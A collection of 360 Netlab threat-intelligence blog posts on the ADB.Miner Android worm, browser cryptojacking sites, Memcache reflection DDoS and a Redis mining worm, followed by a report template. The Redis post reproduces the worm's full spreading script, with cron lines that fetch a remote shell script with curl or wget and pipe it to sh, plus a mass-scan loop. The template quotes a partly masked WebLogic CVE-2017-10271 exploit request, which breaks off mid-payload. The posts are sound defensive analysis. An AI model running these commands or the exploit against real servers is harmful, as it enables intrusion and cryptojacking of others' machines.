kenshinx/netlab-blogs huggingface dataset:
ADB.Miner：恶意代码正在利用开放了ADB 接口的安卓设备挖矿

作者：Hui Wang, RootKiter,

twitter/360Netlab


大约24小时前，从 2018-02-03 15:00 开始，一组恶意代码开始蠕虫式快速传播，我们分析了这个安全威胁，一些快速的结果如下：


 * 传播时间：最早的感染时间可以回溯到 1月31日附近。当前这波蠕虫式感染从 2018-02-03 下午 15：00 附近开始被我们的系统检测到，目前仍在持续增长。
 * 感染端口：5555，是安卓设备上 adb 调试接口的工作端口，这个端口正常应该被关闭，但未知原因导致部分设备错误的打开了该端口
 * 蠕虫式感染：恶意代码在完成植入后，会继续扫描 5555 adb 端口，完成自身的传播
 * 感染设备型号：目前能够确认的设备型号见后，大部分是智能手机，以及智能电视机顶盒
 * 感染设备数量：2.75 ~ 5k，主要分布在中国（~40%）和韩国（~30%）


另外，恶意代码复用了 mirai 在扫描阶段的代码，这是我们首次看到 mirai 代码被安卓蠕虫复用


总体而言，我们认为有基于 android 系统 adb 调试接口的恶意代码目前正在蠕虫式积极传播，24小时内已经感染了超过5千台设备。


端口 5555 上的感染趋势


从 2018-02-03 晚间开始，我们检测到端口 5555 上的扫描流量正在快速增长，如下：





如上图所见，5555 端口上的扫描流量从下午15：00附近，开始达到日常背景数据的3倍，24：00附近到达10倍。到目前未知，发起扫描的IP数量和总扫描流量，都仍然在持续增长中。


如下图所示，当前 5555 端口扫描流量已经排入所有端口的前十。上一次我们看到一个全新端口排入前十，是2016年9月期间，mirai僵尸网络开始组建其僵尸网络。




5555 端口上扫描来源的独立IP地址，按照不同口径统计，有2.75 ~ 5.5k，这个数字正在快速增长中，两个来源的情况见后：


 * 来自 scanmon的统计数字： 2.75k，主要来自中国（40%）和韩国（31%）。
 * 来自我们的僵尸网络跟踪系统的统计数字： 5.5k







受感染设备主要是各厂商开放了 adb 调试接口的安卓设备


受感染设备正在积极的尝试投递恶意代码。我们从这些恶意代码中分析发现，大部分来源设备基于 android 操作系统。


具体被感染设备机型暂时不予公开，目前看，因为各主要厂商均涉及，并且同时涉及智能手机和智能电视（电视机顶盒？），我们倾向排除厂商级别漏洞的可能性。


恶意代码在利用这些设备挖矿


相关的恶意代码有一组，其中 xmrig 相关恶意样本会参与挖取 XMR 代币。相关的配置有两组，基于两个不同矿池，但是共享了同一个钱包地址：


 * 矿池地址：pool.monero.hashvault.pro:5555 或者 pool.minexmr.com:7777
 * 钱包地址（矿池账号）：44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr
 * 矿池密码：x


目前为止，上述钱包还没有收到矿池的第一笔付款：





蠕虫式传播


我们目前可以认为恶意代码有蠕虫式传播行为。


我们最初就高度怀疑样本有蠕虫式传播行为。后续的分析从几个方面证实了上述猜测。后续我们也许会发布更新，进一步说明这一点。


其他的分析和防御工作，也正在持续进行中。后续的重要更新我们都会持续发布，请保持关注 twitter/360Netlab。
Early Warning: ADB.Miner A Mining Botnet Utilizing Android ADB Is Now Rapidly Spreading

Author：Hui Wang, RootKiter,

twitter/360Netlab


About 24 hours ago, around 2018-02-03 15:00(GMT +8), a set of malicious code began to spread rapidly, here are some quick facts:


 * Timeline : the earliest time of the infection can be traced back to January 31. And the current worm-like infection was detected by our system from around 2018-02-03 15:00
 * Infected port : 5555, which is the working port of adb debugging interface on Android device, this port should be normally closed
 * Worm behavior : The Malicious code looks for open 5555 adb debug interface after successful infection, which is worm like.
 * Target equipment : Most are android based devices. We will not publish details as of now.
 * The number of infected equipment : 2.75 ~ 5k, so far mainly in China (~ 40%) and South Korea (~ 30%)


Also, this malware borrows some of the mirai's scanning code, this is the first time we see the mirai code being used by Android bot


Overall, we think there is a new and active worm targeting android system's adb debug interface spreading, and this worm has probably infected more than 5,000 devices in just 24 hours.


Infection Trend on Port 5555





As can be seen from the figure above, the scan traffic on port 5555 starts around 15:00 pm on 2018-02-03 , reaches 3 times the daily average number, and has a tenfold increase around 24:00. the number of IPs initiating scanning and the total scanning traffic are still growing as of now.


As it can be seen below, the current 5555 port scan traffic has been gone up to the top ten of all ports on our scanmon system. The last time we saw a new port suddenly jumped to the top 10 list was the mirai botnet, which goes back to September 2016.





The number of unique scan sources is 2.75k on our scanmon system, and 5.5k on our botnet tracking system.







Most of the Infected devices Are Android Smart Phones or TV Box with ADB Debugging Interface Opened


Those infected devices are actively trying to spread malicious code. By analyzing the spreading source, we found that most of them are smart phones and smart TV (TV box) based on Android.


We will not publish detailed infected models here. Till now, we don't think it is a vendor level issue.


Infected Devices are Used to Dig XMR Coins


A set of malicious code are located till now. Among them, the xmrig related ones are involved in digging XMR tokens, with two groups of configurations.


These two share the same wallet address but with different mining pool address:


 * Mining Pool : pool.monero.hashvault.pro:5555 or pool.minexmr.com:7777
 * Wallet Address : 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr
 * Pool Pass : x


Till now, zero coins have been paid, as can be seen in below:





We will post any important update here to further illustrate this, stay tuned.
ADB.Miner 安卓蠕虫的更多信息

本篇技术分析，由360手机卫士，360威胁情报中心，360烽火实验室，360-CERT，360网络安全研究院联合发布。



综述


大约48小时之前，我们发布 文章 报告了ADB.Miner，一种新型的安卓蠕虫。该蠕虫可以借助安卓设备上已经打开的 adb 调试接口传播，且初期传播的增速很快，约每12小时翻一番。


在过去的48小时内，我们对 ADB.Miner 做更进一步的分析，目前的结论如下，供安全社区参考：


 1. 当前感染量已经稳定：日活感染量在增长到7千(2018-02-05 15:00 GMT+8)后不再快速增长。这个数字已经保持稳定了超过 20 小时，可以认为蠕虫已经经过了爆发期，进入稳定期。
 2. 确认电视盒子被感染：确认被感染的都是安卓设备。进一步分析能够确认部分设备是电视盒子，其他设备不能认定是何种设备，也不能确认是安卓手机
 3. 对样本的分析，排除了样本从远程开启 adb 调试接口的可能。在被感染以前，这些设备的 5555 端口就已经开启。至于 5555 接口是如何打开的，目前无从得知。


受感染的设备地理分布如下图所示，主要的受害者分布在中国（39%，含中国香港和中国台湾）和韩国（39%）：






样本分析


在本次事件中，共捕获样本9个。系列样本的核心功能是蠕虫 + 挖矿。


 * 蠕虫式传染：被感染设备会对外发起 TCP 5555 adb 调试端口扫描，并尝试执行 adb 命令把自身拷贝到新的感染机器
 * 挖矿：被感染后的核心功能就是利用窃取到的计算资源挖XMR代币
 * 此外，该样本的蠕虫的端口探测部分借鉴了MIRAI的SYN扫描模块以提高端口探测效率。


该蠕虫没有上联控制服务器，仅通过单一钱包地址获取收益。这种代码布局更加紧凑。


各样本概要信息如下表所示，后续各小节逐一展开分析：





sss - 代码主体


sss为上载到目标设备的恶意代码主体。在droidbot将其上传到目标设备后，执行nohup /data/local/tmp/sss启动该执行程序时，其会读取bot.dat，并释放droidbot，invoke.sh，ddexe，debuggerd和install-recovery.sh到当前目录下。随后其会调用nohup执行释放的droidbot。





invoke.sh - 持久化


invoke.sh通过替换系统程序来实现持久化，替换后的程序除了原有功能外，还会额外运行droidbot。三个被替换的文件如下：


 * 如果/system/bin/ddexe存在，则替换其为释放的ddexe脚本；
 * 如果/system/bin/debuggerd存在，则替换为释放的debuggerd脚本；
 * 如果/system/etc/install-recovery.sh存在，则替换为释放的install-recovery.sh脚本。





droidbot样本 - 蠕虫传播


样本的蠕虫式传播是通过 droidbot 实现的。当样本扫描发现开启5555端口的设备后，将通过依次发送adb connect /adb push/adb shell 等指令的方式，将所有相关样本从本地上传至受害者并执行，相关截图如下所示：








该传播模块借鉴了MIRAI的源码：


 1. 样本中内置了MIRAI的SYN扫描模块，以提高对5555 端口开放情况的探测能力。下图高亮处代码在试图构造一个随机IP，且目标端口为5555。如果对MIRAI的代码结构比较熟悉可从左下角缩略图看到这个缩略图同MIRAI的代码结构具有高度相似性。
 2. 样本中还遗留了MIRAI代码中table的结构字符，如下下图所示。通过MIRAI的默认密钥0xdeadbeef 对上面的字符内容解密后，可以确认均为弱口令字符。并且我们确认这些弱口令均未被使用。








xmrig32/xmrig64/config.json - 挖矿样本和配置


两个xmrig样本为挖矿样本。


挖矿的配置由 config.json 文件提供，如下：





其中矿池分别为：


 * pool.minexmr.com:7777
 * pool.monero.hashvault.pro:5555


用户名，即钱包地址为:


 * 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr


droidbot.apk - 另一个基于CoinHive的挖矿样本


该样本是一个运行于Android环境的apk文件。其核心功能就是通过webview加载一个本地html网页文件挖矿。相关代码如下图所示：








上述两图展示了恶意代码先后利用webview组建加载本地html页面，并通过被加载网页调用 coinhive 脚本挖矿。



IoC


bc84e86f8090f935e0f1fc04b04455c6	bot.dat
cd37d59f2aac9101715b28f2b28b7417	botsuinit_1_1.txt
27c3e74b6ddf175c3827900fe06d63b3	config.json
412874e10fe6d7295ad7eb210da352a1	droidbot
914082a04d6db5084a963e9f70fb4276	droidbot.apk
9a10ba1d64a02ee308cd6479959d2db2	nohup
6a22c94d6e2a18acf2377c994d0186af	sss
ac344c3accbbc4ee14db0e18f81c2c0d	xmrig32
cc7775f1682d12ba4edb161824e5a0e4	xmrig64
是谁悄悄偷走我的电（一）：利用DNSMon批量发现被挂挖矿代码的域名

在360网络安全研究院，我们持续的分析海量的DNS流量。基于此，我们建立了 DNSMon 检测系统，能够对 DNS 流量中的各种异常和关联关系予以分析。


在之前的 文章 中，我们提到了 openload.co 等网站利用Web页面挖矿的情况。在那之后，我们进一步利用 DNSMon 对整个互联网上网页挖矿进行分析，本文描述我们目前看到情况。


当前我们可以看到：


 * 0.2% 的网站在首页嵌入了Web挖矿代码：Alexa Top 10万的网站中，有 241 (0.24%) ；
   
   Alexa Top 30万的网站中，有 629 (0.21%)
 * 色情相关网站是主体，占据了这些网站的49%。其它还有诈骗（8%）、广告（7%）、挖矿（7%）、影视（6%）等类别
 * 10+ 挖矿网站提供挖矿能力支撑，其中最大的是是 coinhive.com，占据了大约 57% 的份额，然后是 coin-hive.com (8%)、load.jsecoin.com (7%)、webmine.pro(4%)、authedmine.com (4%) 及其他


当前网页挖矿已经成为一个市场，市场中的角色包括：


 * 终端用户：当前他们的利益是被忽视的
 * 挖矿网站：新玩家，提供网页挖矿脚本和能力
 * 内容/流量网站：既有网站，有庞大的用户但缺少变现手段。现在他们将既往无利可图的流量导向挖矿网站，利用消费者的算力网页挖矿，完成变现。最近也开始有一些内容网站，他们自行搭建挖矿能力，肥水不留外人田。


600+ 内容/流量网站


在 Alexa Top30万 的站点中，通过验证他们的首页，我们可以确认当前有至少 628 个网站挂载了挖矿代码。我们把这些域名绘制了标签图如下，读者可以有一个直观印象。由于色情相关的特殊性，我们不会公布这些已知域名。





网站内容分类如下表所示：





10+ 挖矿网站


市场占有率排名


内容/流量网站汇聚了用户流量以后，会通过挖矿网站来变现。按照被内容网站使用数量统计，我们看到 2018-02-06 当天的Top 10 挖矿网站如下所示：





值得一提的是，上表中尽管所有的挖矿网站被使用了728次，但所有的内容网站加起来只有 628 个，这是因为部分内容网站使用了 2 个或者更多的挖矿网站。在这个市场里，这是一种普遍的情况。


挖矿网站家族


所有的挖矿网站之间，是可以汇聚到不同家族的。我们已知的挖矿网站家族包括：


 * coinhive: coinhive.com, coin-hive.com，以及系列网站
 * jsecoin: load.jsecoin.com
 * webmine: webmine.cz
 * cryptoloot: crypto-loot.com, cryptoloot.pro, webmine.pro以及系列网站
 * coinhave: coin-have.com, ws.cab217f6.space系列网站, api.cab217f6.space系列网站


流量趋势


主要的挖矿网站 DNS 流量趋势如下图：





从图中我们可以看出：


 * 市场开启于 2017-09，coin-hive.com 和 coinhive.com 先后于 2017-09-15 和 2017-09-28 开始有大量访问
 * 市场在持续变大，在2017-10 和 2018-01 分别有两次大的提升
 * 最大的玩家是 coinhive 家族，这与之前的观测一致。作为代表的 coinhive.com 网站流行度已经排入Top 2万
 * 越来越多的挖矿网站供应商在进入这个市场


另外，最近我们开始观察到，coinhave 家族开始使用一些域名的冗余技术来将流量分散到类如6860c644.space等20个子站上，主站的流量在缩小。


新玩家和新玩法


近期我们注意到一些新的玩法正在这个市场上出现：


 * 广告商：有些网站的挖矿行为是广告商的外链引入的
 * 壳链接：有的网站会使用一个“壳链接”来在源码中遮蔽挖矿站点的链接
 * 短域名服务商：goobo.com.br 是一个巴西的短域名服务商，该网站主页，包括通过该服务生成的短域名，访问时都会加载coinhive的链接来挖矿
 * 供应链污染：www.midijs.net 是一个基于 JS 的MIDI文件播放器，网站 源码 中使用了 coinhive 来挖矿
 * 自建矿池： 有人在 github 上开源了一段代码，可以用来自建矿池
 * 用户知情的Web挖矿：authedmine.com 是新近出现的一个挖矿网站，网站宣称只有在用户明确知道并授权的情况下，才开始挖矿


使用 DNSMon 检测网页挖矿情况的原理和优点


以上展示了我们使用 DNSMon 监控网页挖矿的结果，其监控原理如下：


 * 当用户浏览器开打内容网站的网页，并随后立即访问了挖矿网站时，这两个域名的紧密关联关系会被 DNSMon 记录下来
 * 在这个案例中，通过对 coinhive.com 相关的网站观察，我们能够识别挖矿相关网站
 * 由于内容网站不时切换背后的挖矿网站，所有记录下来的域名就能够连接成一张网络，从而反映整个市场内的玩家情况


使用 DNSMon 检测网页挖矿有以下优点和缺点：


 * 优点
 * 覆盖广
 * 准实时
 * 精度高
 * 可以利用域名关联网络，通过种子域名扩展发现新的可疑域名
 * 对链路劫持后的的支持，也好于传统网页扫描器
 * 缺点
 * 仅能反映域名之间关联，网页挖矿事实还需要使用其他手段确认


总体而言，利用 DNSmon 系统，我们能够：


 * 批量发现可疑站点
 * 快速确定挖矿网站
 * 定位使用了代码变形、壳链接的挖矿网站。


声明


本文中的标签图，使用 http://cloud.niucodata.com/ 制作
The List of Top Alexa Websites With Web-Mining Code Embedded on Their Homepage

On our previous blog, we mentioned over 0.2% websites have web mining code embedded in their homepage: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites.


And after some discussion, we figured it makes sense to release the whole list so proper action can be taken, so here is the whole list our DNSMon system generated on 2/8/2018 Download here.


The following table shows a snip of the whole list.


Alexa_Rank                       Website      Related-Coin-Mining-Domain/URL

  1503                mejortorrent.com    |coinhive.com
  1613                 baytpbportal.fi    |coinhive.com
  3096                     shareae.com    |coinhive.com
  3408                     javmost.com    |coinhive.com
  3809                   moonbit.co.in    |hxxp://moonbit.co.in/js/coinhive.min.js?v2
  4090                 maalaimalar.com    |coinhive.com
  4535                 firefoxchina.cn    |coinhive.com
  6084                  icouchtuner.to    |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js
  6794                     paperpk.com    |coinhive.com
  6847                 scamadviser.com    |coin-hive.com|coinhive.com




 * Thanks how-to-find-cryptojacking-malware for more seeds.
是谁悄悄偷走我的电（二）：那些利用主页挖取比特币的网站

我们在早先的 文章 中提到，大约有 0.2% 的网站在使用主页中嵌入的JS代码挖矿：


- Alexa 头部 10万网站中，有 241 (0.24%)个
- Alexa 头部 30万网站中，有 629 (0.21%)个



我们决定还是公开文中提到的全部站点列表，这样读者可以采取更多的行动。


我们的 DNSMon 在2018-02-08 生成的列表，其格式如下：


Alexa_Rank                       Website      Related-Coin-Mining-Domain/URL

  1503                mejortorrent.com    |coinhive.com
  1613                 baytpbportal.fi    |coinhive.com
  3096                     shareae.com    |coinhive.com
  3408                     javmost.com    |coinhive.com
  3809                   moonbit.co.in    |hxxp://moonbit.co.in/js/coinhive.min.js?v2
  4090                 maalaimalar.com    |coinhive.com
  4535                 firefoxchina.cn    |coinhive.com
  6084                  icouchtuner.to    |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js
  6794                     paperpk.com    |coinhive.com
  6847                 scamadviser.com    |coin-hive.com|coinhive.com



完整的列表下载地址是：

https://blog.netlab.360.com/file/top_web_mining_sites.txt
是谁悄悄偷走我的电（四）：国内大玩家对Coinhive影响的案例分析

《是谁悄悄偷走我的电》是我们的一个系列文章，讨论我们从 DNSMon 看到的网页挖矿的情况。在这个系列的之前的 一 、 二 和 三 中，我们已经介绍了整个Web挖矿的市场情况。当前我们知道，市场中的玩家主要可以分为挖矿网站和内容/流量网站，前者提供挖矿能力、后者提供流量，二者合力利用终端用户的浏览器算力挖矿获利。


当前，挖矿网站中最大的玩家是 coinhive 家族，按照被引用数量计，占据了 58% 的市场份额。这些在我们之前的文章中已经提及。


那么，流量网站的情况如何，有哪些有意思的情况？


Coinhive 的关联域名


DNSMon 有能力分析任意域名的 关联域名，在这个案例中可以拿来分析 coinhive 家族关联的 流量网站。通过分析这些流量网站的 DNS 流量，可以观察到很多有意思的事情。


下面是一个域名访问规模图：




在上图中:


 * 横轴：代表时间，从 2018-01-31到2018-02-15
 * 纵轴：列出 coinhive.com 的关联域名，通过分析其网页内容，我们证实其中大部分有网页挖矿行为
 * 散点：代表这些域名的访问规模，面积越大表示当天的访问量越大


图中红框高亮的两个域名引起了我们的兴趣。这两个域名，在2月3号到2月8号这段时间内突然出现，访问量上来就很大、没有爬升期，并且在2月9号之后快速的消失。这些特点显著区别于其他域名相对稳定的流量表现。


 * kw.cndqsjlg.com
 * v.bjztkeji.com


下面是我们对这个案例的分析。


Coinhive 的流量波动





如上图所见，coinhive.com 的流量，在 2018-02-01～2018-02-10 之间有较大的波动，图中分成了四个部分：


 * 第一次波峰，2月5日
 * 第一次波谷，2月6日
 * 第二次波峰，2月7日
 * 第二次波谷，2月8日


下面我们逐一解释这些异常现象发生的原因。


Coinhive 的第一次波峰


看图中 stage 1 部分，我们会注意到 Coinhive 出现显著波峰，原因是什么？





注意图中绿色线，一个新的域名 kw.cndqsjlg.com 突然出现，并导致了 coinhive.com 在2月5日的流量波峰：


 * 该域名的访问曲线，与 coinhive 第一次波峰的访问曲线基本一致
 * 该域名的网页内容，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys
 * 该域名是个全新域名，注册在2月2日，在波峰前约48小时
 * 我们估算，该域名为 coinhive 贡献了中国大陆地区18% 左右的流量来源


Coinhive 的第一次波谷


在 2月6日～2月7日 期间，观察图中的 stage 2 部分，很容易注意到 coinhive 出现显著波谷，原因是：


 * kw.cndqsjlg.com 域名放弃了 coinhive ，而是启用了 自建deepminer 挖矿从而避免 coinhive 的抽成费用


7日以后，该域名在不再活跃。


Coinhive 的第二次波峰


看图中 stage 3 部分，我们会注意到 Coinhive 再度出现显著波峰。原因是什么？





类似的，新的 v.bjztkeji.com 蓝色线7日在DNS流量中突然出现，并导致了 coinhive.com 在2月7日的流量波峰。


 * 新域名的访问曲线，与 coinhive 第二次波峰的访问曲线基本一致
 * 新域名的网页内容，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys，与老的 kw.cndqsjlg.com 一致
 * 经分析确认，新域名的流量继承自之前 kw.cndqsjlg.com
 * 我们估算，该域名为 coinhive 贡献了 中国大陆地区15% 左右的流量来源


Coinhive 的第二次波谷


360安全卫士在 8 日发布文章 批露 了该安全事件，指出两个域名的背后是国内某广告联盟。同时，360安全卫士在其旗下浏览器产品中阻断了上述两个网站未经用户许可的挖矿行为。此次批露后：


 * kw.cndqsjlg.com 的流量：在7日之前就已经逐渐跌落至地板附近，流量由下者继承
 * v.bjztkeji.com 的流量：在9日以后跌落至地板，至今没有反弹
 * coinhive.com 的流量：9日之后流量大幅损失，并持续至今。估算其在中国大陆地区的流量下跌了 45%~65%


对应的流量图如下：




并非结束的结束


广告公司参与网页挖矿，是值得整个安全社区警惕的事情。我们在之前的 文章 中，就介绍过一个这样的案例。我们也毫不奇怪，市场上还会有其他玩家。


我们会持续关注整个网页挖矿市场的变化，如果读者们有新的发现，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
Memcache UDP反射放大攻击技术分析

本篇技术blog，由360信息安全部0kee Team、360网络安全研究院、360-CERT共同发布。


Memcache UDP 反射放大攻击（以下简称 Memcache DRDoS）在最近的一周里吸引了安全社区的较多注意。以下介绍我们对该类型攻击观察到的情况。


在PoC 2017 会议上的原始报告


Memcache DRDoS，由360信息安全部0kee Team在2017-06 附近首先发现，并于 2017-11 在 PoC 2017 会议上做了公开报告。会议报告在 这里，其中详细介绍了攻击的原理和潜在危害。


在这份文档中，作者指出这种攻击的特点：


 * memcache 放大倍数超高，至少可以超过50k；
 * memcache 服务器（案例中的反射点）数量较多，2017-11时估算全球约有 60k 服务器可以被利用，并且这些服务器往往拥有较高的带宽资源。


基于以上特点，作者认为该攻击方式可以被利用来发起大规模的DDoS攻击，某些小型攻击团队也可能因此获得原先没有的大流量攻击能力。


在 DDoSMon 上观察到的现网趋势


自批露以来，我们就一直利用 DDoSMon 的统计页面 持续监控Memcache DRDoS在实际现网中的情况。在过去的几个月中，这种类型攻击的频率和单次破坏性都不大，但是自2018-02-24开始，这种情况发生了较大变化。


近期，Memcache DRDoS 的攻击频率上升到了平时的10+倍，从每天小于50件，上升到每天300~400件，直到今天的1484件（实际上，离今天结束还有1个小时），如下图所示。





需要指出，当前 Memcache DRDoS 仍然还不是DDoS的主流。即使在反射类DDoS中，也只占 1% 以下（按攻击事件计），排在 DNS、CLDAP、NTP、SSDP、CharGen、L2TP、BitTorrent、Portmap、SNMP的后面。





我们在现网中对 Memcache DRDoS 攻击方式的测试结果


我们对现网实际环境做了测试，结合分析我们捕获的实际攻击载荷，有以下内容值得关注：


 * 这种反射攻击的放大比率，在理想的测试环境中，可以稳定的测得 1k~60k之间的放大倍数；
 * 在现网实际环境中， 60k 的放大倍数，也是可以稳定的测得的；
 * 上述实测结果，与最初报告者0kee team的估计、US-CERT安全通告中的提法，基本是一致的；
 * 此外我们分析了现网实际发生的攻击负载。到目前为止，部分负载的构造是有问题，可能会导致memcache服务崩溃，并不能稳定的打出最大放大倍数。但是这里涉及的技术改进并不困难，攻击者容易做出响应调整。


另外，我们对将放大倍数调整到 60k 以上做了一些初步分析。我们怀疑这个比例是可以继续显著提高的，但具体技术细节不会在这里讨论。


当前已知 Memcache DRDoS 攻击的案例


2月27日，Qrator Labs 在 medium.com 上 批露 了一次DDoS攻击。按照文章的说法，这次攻击确信就是 UDP 11211 端口上的 memcache DRDoS，攻击流量峰值达到 480Gbps。


除了这个案例以外，我们确认有更大的攻击已经实际发生，但并未被公开报道。


当前已知各国运营商、安全社区的应对措施


目前已经有多个相关安全通告，部分列出如下：


 * 通告类：多个主要设备厂商、安全厂商、CERT已经发布通告，例如 CloudFlare、Qrator Labs、Arbor Networks、US-CERT，等等
 * 预防和防御类：包括 NTT 在内的多个ISP 已经对 UDP 11211 采取限速措施。


应对建议方面，ISP、网络管理员、企业用户可以从很多渠道获得应对建议，例如 这里 。我们建议：


 * 各运营商 ISP、云服务厂商，考虑在自己的网络内对UDP 11211 采取限速措施
 * 各开发者和 memcache 管理者，考虑自查 memcache 设定ACL


总体而言，一方面，我们开始担忧1Tbps以上的DDoS攻击案例今后会比较频繁的出现，DDoS攻击开始从 G 时代进入 T 时代（Gbps vs Tbps）；另一方面，我们必须指出至少在当前 Memcache DRDoS 还不是DDoS 攻击的主流，比例还在 1% 以下（按次数统计）。
威胁快讯：一个Redis.Miner

IoC


下载服务器


159.89.190.243
img.namunil.com
cdn.namunil.com



下载URL


hxxp://img.namunil.com/ash.php
hxxp://img.namunil.com/bsh.php
hxxp://img.namunil.com/rsh.php
hxxp://cdn.namunil.com/ash.php
hxxp://cdn.namunil.com/bsh.php
hxxp://cdn.namunil.com/ins.php
hxxp://cdn.namunil.com/pgp.php
hxxp://cdn.namunil.com/rsh.php
hxxp://cdn.namunil.com/sh.php



挖矿程序


hxxp://img.namunil.com/dump.db
hxxp://cdn.namunil.com/dump.db



ssh登录私钥

/root/.ssh/authorized_keys


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX



规模估计


 * 扫描规模：端口6379 ，排名14（24小时内独立来源IP 673个）
 * 下载服务器排名还很低，远低于一百万名：
   
   * 0.327100 401126302 2018-03-23 cdn.namunil.com
   * 0.572953 174202964 2018-03-23 img.namunil.com
   
 * 挖矿获利：不明，所使用的矿池 z.chakpools.com 并非知名矿池，没有应答


蠕虫式传播


利用 redis 本地漏洞投入载荷，扫描过程中使用的 masscan 是恶意代码自行下载编译的。


echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set jmTIabkD "\n*/2 * * * * curl http://cdn.namunil.com/sh.php|sh\n"' >> .dat
echo 'set yCEpdj "\n*/4 * * * * wget -O- http://cdn.namunil.com/sh.php|sh\n"' >> .dat
echo 'set cNaGUd "\n*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh\n"' >> .dat
echo 'set mKjzHoR "\n*/10 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh\n"' >> .dat
echo 'config set dir "/var/spool/cron"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
iptables -A INPUT -p tcp --dport 60000 -j DROP

masscan --banners --no-show open --shard 18499/20000 --source-port 60000 --hello-string[6379] "KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo=" --max-rate 10000 -p6379 0.0.0.0/0 --exclude 255.255.255.255 2>/dev/null -oG - | awk '/+OK/ {print $2, $5}' | sort | uniq > .r1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw > /dev/null 2>&1 &
done < .r1



恶意代码与近期 6379 端口扫描之间的同源关系证明


恶意代码中有以下masscan hello-string，并且来源端口限定为 6000:


$echo KjQNCiQ2DQpjb25maWcNCiQzDQpzZXQNCiQzDQpkaXINCiQxNQ0KL3Zhci9zcG9vbC9jcm9uDQo= | base64 -d
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron



这与我们近期在 6379 上看到的扫描载荷是一致的


2018-03-23 14:23:54    redis    sip=111.231.121.59    dip=-    sport=60000    dport=65535    proto=tcp    tcp.payload=eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg==    src=hp
$ fes -X eJzSMuHlUjHj5UrOz0vLTOflUjHm5SpOLYEwUjKLeLlUDE15ufTLEov0iwvy83P0k4vy83i5AAEAAP//WKwNdg==
>>>sha1: 38472e9bfbf6148a9e887ae8196b6b2d2e6005e0    plen:56
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron
威胁快讯 - 模板

360 网络安全研究院威胁快讯模板：


 * IoC (IP地址或者域名都对应AS号)
 * 规模统计
 * 投入方式
 * 获利方式
 * 逃避手段
 * 联系方式


IoC


下载服务器


123.59.68.172	"AS4808 China Unicom Beijing Province Network"



下载URL


http://123.59.68.172/Cache/DL.php		#weblogic 利用payload中的初始url
http://123.59.68.172/Cache/RunExe.exe
http://123.59.68.172/Cache/WMI.ps1
http://123.59.68.172/Cache/WMI64.ps1
http://123.59.68.172/Cache/x64-VMP.exe
http://123.59.68.172/Cache/x64.exe
http://123.59.68.172/Cache/x86-JMP.exe
http://123.59.68.172/Cache/x86-VMP.exe
http://123.59.68.172/Cache/x86.exe
http://123.59.68.172/Cache/x86.rc4
http://123.59.68.172/putout/DL.ps1



123.59.68.172 上的文件


├── DL.php 			#weblogic 利用payload中的初始url
├── DL.php.64_unpack
├── DL.ps1
├── DL.ps1.b64_unpack
├── msvcr120.dll
├── Neutrino.exe 	#扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell
├── Neutrino.ps1
├── RunExe.exe
├── scripts
│   ├── decode_file.py
│   └── decode.py
├── WMI64.ps1
├── WMI64.ps1.b64_unpack
├── WMI.ps1
├── WMI.ps1.b64_unpack
├── WMI.ps1.b64_unpack.exe
├── x64.exe
├── x64-VMP.exe
├── x86.exe
├── x86-JMP.exe
├── x86.rc4
└── x86-VMP.exe



规模统计


不明，利用IP地址传播，从DNS渠道无法统计其规模


投入方式


漏洞利用： CVE-2017-10271


攻击payload如下。为避免误用，部分内容打码。


POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: {target}:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1222

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
